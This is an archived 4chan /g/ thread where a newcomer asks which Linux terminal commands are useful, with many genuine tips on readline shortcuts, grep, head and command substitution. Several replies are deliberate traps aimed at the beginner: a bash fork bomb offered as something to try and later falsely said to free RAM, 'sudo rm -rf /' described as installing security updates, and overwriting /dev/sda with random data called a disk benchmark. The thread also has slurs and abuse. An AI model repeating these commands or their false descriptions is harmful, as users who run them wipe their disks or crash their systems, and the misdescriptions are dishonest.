[Boards: 3 / a / aco / adv / an / asp / b / biz / c / cgl / ck / cm / co / d / diy / e / fa / fit / g / gd / gif / h / hc / his / hm / hr / i / ic / int / jp / k / lgbt / lit / m / mlp / mu / n / news / o / out / p / po / pol / qa / r / r9k / s / s4s / sci / soc / sp / t / tg / toy / trash / trv / tv / u / v / vg / vp / vr / w / wg / wsg / wsr / x / y ] [Home]
4chanarchives logo
Hey /g/uys Im getting started using the linux/unix terminals
Images are sometimes not shown due to bandwidth/network limitations. Refreshing the page usually helps.

You are currently reading a thread in /g/ - Technology

Thread replies: 74
Thread images: 9
File: terminal.jpg (15 KB, 960x480) Image search: [Google]
terminal.jpg
15 KB, 960x480
Hey /g/uys

Im getting started using the linux/unix terminals and was wondering what kind of commands you guys find most helpful, useful, interesting ,over rated etc.
>>
>>51750830

Holy fuck. That is THE lamest question.
Fuck thats lame.
LAME LAME LAME.
Its so lame.
fuck.
really?
fuck,
>>
Try
:(){ :|: & };:
>>
Beginner's tip: sudo rm -rf / will install important security updates on your machine
>>
cat /dev/urandom > /dev/sda

You can benchmark your disk performance using this quick bash 1 liner
>>
most useful:
pipes, subshells, and grep
least useful:
utilities "improved" by GNU programmers
>>
Most useless: cowsay
>>
File: cli_wallpaper.png (48 KB, 1280x1024) Image search: [Google]
cli_wallpaper.png
48 KB, 1280x1024
>>51750830
>>
Thanks guys, more helpful then fucking google searching this shit

a new fag has to start somewhere :/
>>
>>51750965

 __________________
< I blame the jews >
------------------
\ ^__^
\ (oo)\_______
(__)\ )\/\
||----w |
|| ||
>>
>>51750965
sl is more usless imho. It's just a fucking train that appares across your screen. At least with cowsay, you can do interesting shit if you have fortune
>>
>>51751170
sl - display animations aimed to correct users who accidentally enter sl instead of ls. sl stands for Steam Locomotive
>>
>>51750830
most helpful...

ctrl+p / ctrl+n
ctrl+a / ctrl+e
alt+b
ctrl+l
alt+.
ctrl+r

Try "info readline", then go to "Command Line Editing", "Readline Interaction."

This shit saves you so much time it's unreal.
>>
>>51750875
winbabby detected
>>
>>51750875
then like
don't
answer
it
>>
File: infographic_1432836182719.jpg (203 KB, 1400x1050) Image search: [Google]
infographic_1432836182719.jpg
203 KB, 1400x1050
>>
>>51751210
You're a disgrace to linux users.
>>
links https://www.google.com.au/search?q=how+to+use+linux+command+line
is pretty good.
>>
sudo !!

If you forgot to sudo your last command you can use this to repeat it with sudo without having to retype the whole thing.
>>
>>51751276
>press up
>press home
>type "sudo"

honestly i don't get what you idiots would do without all your nonstandard .bashrc aliases and macros.
>>
File: infographic_1443558764255.png (47 KB, 1228x751) Image search: [Google]
infographic_1443558764255.png
47 KB, 1228x751
>>51750830
>most helpful
man man
>useful
mv, cp, rm, ls
>interesting
man bash
>overrated
zsh
>>
>>51750937
Thanks, it worked good. But what do I do when the update finishes and it asks if I want to install tor? I already have my browser settings configured how I like it so how do I just exit out of that part?
>>
is the code academy command line class any good?
>>
>>51751290
>being proud of doing more work for the same result

okay
>>
File: 1401867450105.jpg (14 KB, 300x300) Image search: [Google]
1401867450105.jpg
14 KB, 300x300
>>51750913
>>51750937
>>51750944
Either winblows babbys, or amazuntu newfags.
>look, I know a harmful command
>>
>>51751321
It's good if you wanna learn the bare basics. I found it quite interactive and fun. Did it in a night some time ago and I remember most of it except the more complex grep stuff. But at least now I know what everything is called and works in general.
>>
>>51750830
You may want to lern the make dance. The make dance is pretty easy:

make clean
make
make install


Sometimes you need lern dancing first by typing:
./configure


Happy compiling.
>>
>>51750830
stop thinking about it as commands think of it as programs, because that is what it is
>>
are mac and linux commands basically the same?
>>
>>51751473
Pretty much
>>
>>51751473
basically you just need to type imgay in front of a command on macs
>>
>>51751473
yes

it's why osx is the superior os
>>
>>51751539
initialize machine, grant access yes
>>
>>51750913
what does this do?
>>
File: infographic_1432838639159.jpg (92 KB, 1356x831) Image search: [Google]
infographic_1432838639159.jpg
92 KB, 1356x831
>>51751583
>>
>>51751133
7/10 made me chuckle
>>
First, understand how to use:

cd
find
grep
cat / head / tail
vi (including how to edit, save and quit)
sudo
man
cp
mv
rm

piping commands together ( | )
save to ( > )
append to (>>)
-r/-R (recursive)
backticks ( ` )
>>
>>51751634
also these two:
more
less
>>
>>51751634
>backticks ( ` )
Nigga what? Stop spreading deprecated shit like backticks. Use $()
>>
>>51751663
>deprecated
>still supported, still works

pick one
>>
>>51751321
God, this so annoying.
type ls just to see where you are and it yells at you.
>>
>>51751663

Actually they are both used about the same amount except for $() is normally used in scripting to print the value of a variable

'ls -alrh /sub/directory'

'read value'
type shit
'echo $(value) > file.txt' | cat


Also cocks.
>>
>>51751817
Just because people writ shit code doesn't mean everyone has to.
>>
>>51751817
http://wiki.bash-hackers.org/scripting/obsolete
http://mywiki.wooledge.org/BashFAQ/082
You're welcome.
>>
>>51751608
I still don't get it.
>>
>>51751070
Not OP but quick question regarding head

head -6
would list the first 6 lines of a file, right? How would you change it to list the first 6 lines of every file in a specified directory?
>>
>>51751840
>>51751864
using backticks in a command is perfectly acceptable and is much faster to type than shift+4 (for $) and shift+9/shift+0 for parens.

echo "the current time is `date`"


also it will never be fully deprecated because of all the tons of old code that still uses backticks
>>
>>51751789
you mean pwd
>>
>>51751919
head -6 /directory/files/*
Bonus points: pipe to grep to file, then cat
Good practice but impractical and redundant af.
>>
>>51751919
How's this?
cat * | head -6


Just cd to the directory then use that
>>
>>51751921

You're better off fucking with shit than you are fucking with this fucked up shit.
>>
>>51751290
>>press up
>>press home
>honestly i don't get what you idiots would do without all your nonstandard .bashrc aliases and macros.

So says the fuck who doesn't understand that pressing up and home only work in bash/zsh
>>
>>51752064
werkz fine on fish
>>
>>51752079
Fish is bash thingy fâm.
>>
>>51752095
fish isn't bash thing m8, it isn't even POSIX compliant
>>
>>51752100
> FISH is a user-friendly, interactive shell designed to work with any other shell like bash or ZSH.
>>
>>51752131
yeah, designed to work with, but if you try executing some bash shit that FISH doesn't support it'll cry out

For example, you can't use a bash-like if command
>>
>>51751932
it yells at me for pwd too, but I meant ls, to see what files are there.
>>
>>51752154
Wow. In that case..
>>>/trash/
>>
>>51751070
Saved, thanks.
>>
>>51752211
but in case you want to run bash scripts you can still just do sh script.sh and it'll use bash
>>
>>51751881
It cleans up the junk that is clogging your system ram by taking it over and terminating it.
>>
man man


it is pretty useful
>>
>>51752244
>imply my sh isn't dash
>>
>>51751881
Your are obviously too new then. Lurk more, read more.
>>
sudo apt-get update && sudo apt-get dist-upgrade && sudo apt-get autoremove
>>
>>51751881
just run it you retard
>>
For fun,
toilet
jpg2ascii
Need to get them from your local friendly repo.
>>
>>51751170
fortune | cowsay
what else?
>>
>>51751921
Good luck using backticks when you have to nest the commands.
Try this with backticks
echo $(echo $(echo $(echo hello)))

Obviously this is redundant but just an example
>>
>>51751881
fork ()
{
fork | fork &
}

fork


does this clear it up?
>>
File: Abong.png (35 KB, 386x256) Image search: [Google]
Abong.png
35 KB, 386x256
>>51751881
It's a fork bomb. Google it if you don't know what it is
>>
Do this
http://cs.umw.edu/~finlayson/class/cpsc225/
>>
>>51753221
> sudo apt-get update && sudo apt-get dist-upgrade && sudo apt-get autoremove
> sudo update && upgrade && dist-upgrade
Thread replies: 74
Thread images: 9

banner
banner
[Boards: 3 / a / aco / adv / an / asp / b / biz / c / cgl / ck / cm / co / d / diy / e / fa / fit / g / gd / gif / h / hc / his / hm / hr / i / ic / int / jp / k / lgbt / lit / m / mlp / mu / n / news / o / out / p / po / pol / qa / r / r9k / s / s4s / sci / soc / sp / t / tg / toy / trash / trv / tv / u / v / vg / vp / vr / w / wg / wsg / wsr / x / y] [Home]

All trademarks and copyrights on this page are owned by their respective parties. Images uploaded are the responsibility of the Poster. Comments are owned by the Poster.
If a post contains personal/copyrighted/illegal content you can contact me at [email protected] with that post and thread number and it will be removed as soon as possible.
DMCA Content Takedown via dmca.com
All images are hosted on imgur.com, send takedown notices to them.
This is a 4chan archive - all of the content originated from them. If you need IP information for a Poster - you need to contact them. This website shows only archived content.